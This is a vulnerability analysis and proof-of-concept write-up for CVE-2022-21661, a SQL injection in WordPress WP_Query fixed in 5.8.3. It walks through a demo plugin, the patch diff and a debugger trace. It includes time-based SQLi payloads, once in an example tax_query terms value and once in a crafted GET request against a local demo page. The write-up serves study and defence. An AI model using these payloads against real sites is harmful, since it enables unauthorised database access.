Contents

CVE-2022-21661 Analysis & POC

Due to improper data sanitization in WP_Query, it is possible in certain cases to perform an SQL Injection through plugins or themes that use it in a particular way. This vulnerability was patched in WordPress version 5.8.3. Older affected versions were also fixed through security releases going back as far as 3.7.37.

  • CVE ID: CVE-2022-21661
  • Product: WordPress
  • Vulnerability Type: SQL Injection
  • Affected Versions: 3.7.37 ≤ version < 5.8.3
  • CVSS severity: High (8.0)

WordPress is entirely built in PHP, so the PHP version on the server directly affects its operation:

  • Each PHP version introduces new features and deprecates or removes outdated syntax/functions.
  • If WordPress uses features not supported by an old PHP version → syntax errors or execution failure may occur.
  • Conversely, if PHP is too new, some older functions used by WordPress might be deprecated or removed, causing runtime errors.

👉 Therefore, the PHP version must be compatible with the WordPress version. In this analysis, we use PHP 7.4 with WordPress 5.8.2.

Because WordPress source code is complex, reading it line by line manually is not practical. To assist with debugging and tracing, install the following extensions in VS Code:

  • PHP Extension Pack → search keyword: xdebug.php-pack
  • PHP Tools for VS Code → search keyword: devsense.phptools-vscode

Since this SQLi vulnerability affects the WordPress Core but can only be exploited indirectly through plugins or themes that use WP_Query, we must interact with it via such a plugin or theme.

We create a plugin using WP_Query, displaying the SQL query executed through WP_Query::request.

<?php
/**
 * Plugin Name: Demo WP_Query
 * Description: Demo plugin for WP_Query
 * Version: 1.0
 * Author: w41bu1
 */

if (!defined('ABSPATH'))
    exit;

function da_show_posts()
{
    $args = [
        'post_type' => 'post',
        'tax_query' => [
            [
                'taxonomy' => 'category',
                'field' => 'term_taxonomy_id',
                'terms' => [1,2,3],
                'operator' => 'IN',
            ],
        ],
    ];

    $query = new WP_Query($args);

    ob_start();

    echo '<h3>Demo WP_Query</h3>';
    echo '<pre style="background:#f0f0f0; padding:15px; width:100%; white-space:pre-wrap; word-wrap:break-word; overflow:auto;">';
    echo "SQL query generated by WP_Query:\n\n";
    echo esc_html($query->request); 
    echo '</pre>';

    if ($query->have_posts()) {
        echo '<ul>';
        while ($query->have_posts()) {
            $query->the_post();
            echo '<li>' . get_the_title() . ' (' . get_the_ID() . ')</li>';
        }
        echo '</ul>';
    } else {
        echo '<p>No posts found.</p>';
    }

    wp_reset_postdata();
    return ob_get_clean();
}
add_shortcode('demo_wp_query', 'da_show_posts');

Taxonomy parameters

Create a new page with <page-title> containing the shortcode:

[demo_wp_query]

👉 The query will be displayed when visiting http://localhost/<page-title>

demo page
Demo page displaying WP_Query output

wpdb

  • Core PHP class used by WordPress to directly interact with MySQL.
  • Allows developers to write and execute raw SQL queries.

WP_Query

  • An abstraction layer that retrieves post data from the database without writing raw SQL.
  • Developers simply pass an array of parameters (args), and WordPress automatically builds the appropriate SQL.

Relationship

  • WP_Query doesn’t directly query MySQL.
  • Instead, it builds SQL based on the arguments, applies validation/sanitization, and then calls $wpdb to execute it.

WordPress is an open-source project with a public GitHub repository, meaning all patches are committed openly. To analyze a vulnerability, we can simply review the related commit and observe the code changes.

The reference for CVE-2022-21661 links to this commit:

Patch Diff
Patch diff between versions

The vulnerability was fixed in src/wp-includes/class-wp-tax-query.php

Vulnerable Code

$query['terms'] = array_unique( (array) $query['terms'] );
  • Casts $query['terms'] to an array and removes duplicates.
  • No type checking or sanitization — allowing injection of malicious values into the SQL query.

Example:

$args = [
    'post_type' => 'post',
    'tax_query' => [
        [
            'taxonomy' => 'category',
            'field' => 'term_taxonomy_id',
            'terms' => ['1) AND (SELECT SLEEP(5)) # '],
            'operator' => 'IN',
        ],
    ],
];

Patched Code

if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
    $query['terms'] = array_unique( (array) $query['terms'] );
} else {
    $query['terms'] = wp_parse_id_list( $query['terms'] );
}
  • Added a conditional check based on $query['field']:

    • If it’s slug or name → keep the old behavior.
    • If it’s an ID → use wp_parse_id_list() to cast all elements into an integer array safely.

This ensures that for tax_query fields such as term_taxonomy_id and term_id, which correspond to BIGINT UNSIGNED columns, only numeric values are used.

mysql> DESC wp_term_taxonomy;
+------------------+-----------------+------+-----+---------+----------------+
| Field            | Type            | Null | Key | Default | Extra          |
+------------------+-----------------+------+-----+---------+----------------+
| term_taxonomy_id | bigint unsigned | NO   | PRI | NULL    | auto_increment |
| term_id          | bigint unsigned | NO   | MUL | 0       |                |
| taxonomy         | varchar(32)     | NO   | MUL |         |                |
| description      | longtext        | NO   |     | NULL    |                |
| parent           | bigint unsigned | NO   |     | 0       |                |
| count            | bigint          | NO   |     | 0       |                |
+------------------+-----------------+------+-----+---------+----------------+

Debug 1
Breakpoint at clean_query start
Debug 2
Continue to matching taxonomy query
Debug 3
Observe wp_list_pluck overwriting terms
Debug 4
Prevent overwrite with early return
Debug 5
Payload remains in executed query

callstack 1
WP_Query object created
callstack 2
WP_Query constructor called
callstack 3
get_posts invoked to run query
callstack 4
Condition satisfied, get_sql called
callstack 5
get_sql returns get_sql_clauses
callstack 6
get_sql_clauses calls get_sql_for_query
callstack 8
Iterate query array in get_sql_for_query
callstack 15
Checks terms, taxonomy, operator keys...
callstack 7
Calls get_sql_for_clause
callstack 9
Bypass clean_query, payload preserved
callstack 10
Payload assigned to $sql\['where']
callstack 11
Parentheses added to WHERE clause
callstack 16
Adds AND and returns SQL
callstack 14
get_posts receives SQL
callstack 12
Payload merged into $clauses\['where']
callstack 13
Observe last_query where SQL executes

Execution Flow Diagram

chart
Execution flow of WP_Query leading to SQLi

Replace terms value with an SQLi payload:

GET /demo/?terms=1)+AND+(SELECT+1+FROM+(SELECT+SLEEP(5))a)+%23+ HTTP/1.1

Detect
Response shows delay caused by payload execution

The CVE-2022-21661 vulnerability in WordPress Core, prior to version 5.8.3 (affecting versions back to 3.7.37), stems from improper sanitization in WP_Query, leading to a potential SQL Injection vulnerability.

SQL Injection cheat sheet - PortSwigger

CVE-2022-21661 Detail

Related Content